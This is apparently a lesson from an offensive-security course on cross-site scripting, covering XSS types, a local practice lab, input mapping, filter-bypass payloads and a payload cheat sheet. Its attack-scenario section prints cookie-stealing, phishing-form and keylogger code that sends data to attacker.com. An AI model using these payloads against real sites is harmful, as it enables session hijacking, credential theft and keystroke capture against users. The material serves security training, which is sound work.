The Hacker's Arsenal

Lesson 4: Cross-Site Scripting (XSS)

Beyond the Alert Box

In Lesson 1, you made a popup appear. That was XSS — but it was the most obvious, unprotected version.

Real applications have defenses. Today you'll learn:

  • The three types of XSS
  • How to find XSS systematically
  • How to bypass common filters
  • What attackers actually do with XSS

Time to level up.

The Three Types of XSS

Type 1: Reflected XSS

Your input is immediately returned in the response.

Example: Search results page

https://site.com/search?q=<script>alert(1)</script>

The malicious input bounces off the server and back to you.

Delivery: Victim must click a malicious link.

Type 2: Stored XSS

Your input is saved and displayed to other users.

Example: Comment sections, profile bios, forum posts

You post a malicious comment. Everyone who views it gets hit.

Impact: Higher — affects multiple users without direct targeting.

Type 3: DOM-Based XSS

The vulnerability is in client-side JavaScript, not the server response.

Example: JavaScript reads from location.hash and writes to the page

document.getElementById('output').innerHTML = location.hash.slice(1);

Visit: https://site.com/page#<img src=x onerror=alert(1)>

Detection: You won't see the payload in server responses — check JavaScript sources.

Building a Vulnerable Lab

Download and run the XSS practice lab:

XSS Practice Lab

Multiple XSS challenges with varying difficulty - no filter, basic filter, better filter, stored XSS, and DOM-based XSS

Run with: python3 xss_lab.py

The lab includes 5 different XSS challenges:

  1. No Filter - Direct injection
  2. Basic Filter - Blocks <script> tags
  3. Better Filter - Blocks multiple patterns
  4. Stored XSS - Comment section vulnerability
  5. DOM-Based XSS - Client-side vulnerability on /welcome page

Finding XSS Systematically

Step 1: Map Input Points

Open Burp Suite and browse the application. Look for:

  • Search boxes
  • Comment forms
  • Profile fields
  • URL parameters
  • Hidden form fields
  • HTTP headers that get reflected

Step 2: Test Each Input

For each input, try a canary — a unique string to see if your input appears in the response.

test123xss

Search for your canary in the response. Where does it appear?

  • Inside a tag? <p>test123xss</p>
  • Inside an attribute? <input value="test123xss">
  • Inside JavaScript? var x = "test123xss";
  • Inside a comment? <!-- test123xss -->

The context determines which payload will work.

Step 3: Test for XSS

Try a basic payload:

<script>alert(1)</script>

If it works — you're done. If not, the application might have filters.

Bypassing Filters

Filter: Blocks <script> tags

Bypass: Use other tags and event handlers

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>

Filter: Blocks <script>, <img>, onerror

Bypass: Use different event handlers or encoding

<svg/onload=alert(1)>
<body/onpageshow=alert(1)>
<details open ontoggle=alert(1)>
<audio src=x onerror=alert(1)>

Case manipulation (if filter is case-sensitive):

<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>

Filter: Blocks alert

Bypass: Use other functions

<img src=x onerror=confirm(1)>
<img src=x onerror=prompt(1)>
<img src=x onerror=console.log(1)>

Or encode the function:

<img src=x onerror=eval(atob('YWxlcnQoMSk='))>

(YWxlcnQoMSk= is alert(1) in base64)

Exploiting DOM XSS

DOM XSS is different — the payload never hits the server.

Finding It

Look at the JavaScript source for dangerous sinks:

  • document.write()
  • element.innerHTML =
  • eval()
  • setTimeout() / setInterval()

And dangerous sources:

  • location.hash
  • location.search
  • document.URL
  • document.referrer

Exploiting the Lab's DOM XSS

Visit: http://localhost:8888/welcome#Guest

The page says "Hello, Guest!"

Now try: http://localhost:8888/welcome#<img src=x onerror=alert(1)>

The JavaScript reads your payload from the URL and writes it to the page.

Real Attack Scenarios

Scenario 1: Session Hijacking

Steal the victim's cookie:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Or:

<img src=x onerror="location='https://attacker.com/steal?c='+document.cookie">

The attacker receives the session cookie and can impersonate the victim.

Scenario 2: Credential Theft

Inject a fake login form:

<form action="https://attacker.com/phish" method="POST">
  <h2>Session Expired - Please Login</h2>
  <input name="user" placeholder="Username">
  <input name="pass" type="password" placeholder="Password">
  <button>Login</button>
</form>

Scenario 3: Keylogger

Capture everything typed:

<script>
document.onkeypress=function(e){
  fetch('https://attacker.com/log?k='+e.key);
}
</script>

XSS Payload Cheat Sheet

Basic:

<script>alert(1)</script>

Image tag:

<img src=x onerror=alert(1)>

SVG:

<svg onload=alert(1)>
<svg/onload=alert(1)>

Event handlers:

<div onmouseover=alert(1)>hover me</div>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>

JavaScript URI:

<a href="javascript:alert(1)">click</a>

Breaking out of attributes:

" onmouseover=alert(1) "
' onfocus=alert(1) autofocus '

Lab Challenges

  1. Challenge 1: Section 1 (Easy) — Basic XSS — no filter. Use any payload.
  2. Challenge 2: Section 2 (Medium) — Filter blocks <script> tags. Use an alternative.
  3. Challenge 3: Section 3 (Hard) — Filter blocks <script>, <img>, onerror, onload. Find a bypass.
  4. Challenge 4: Section 4 (Stored) — Post a comment that triggers XSS for everyone who views the page.
  5. Challenge 5: Section 5 (DOM) — Trigger XSS via the welcome page URL fragment.

What's Next?

You now understand XSS deeply — types, detection, filter bypasses, and real exploitation.

In Lesson 5: SQL Injection, we'll learn to talk directly to databases. If XSS is about hijacking users, SQLi is about hijacking the entire application.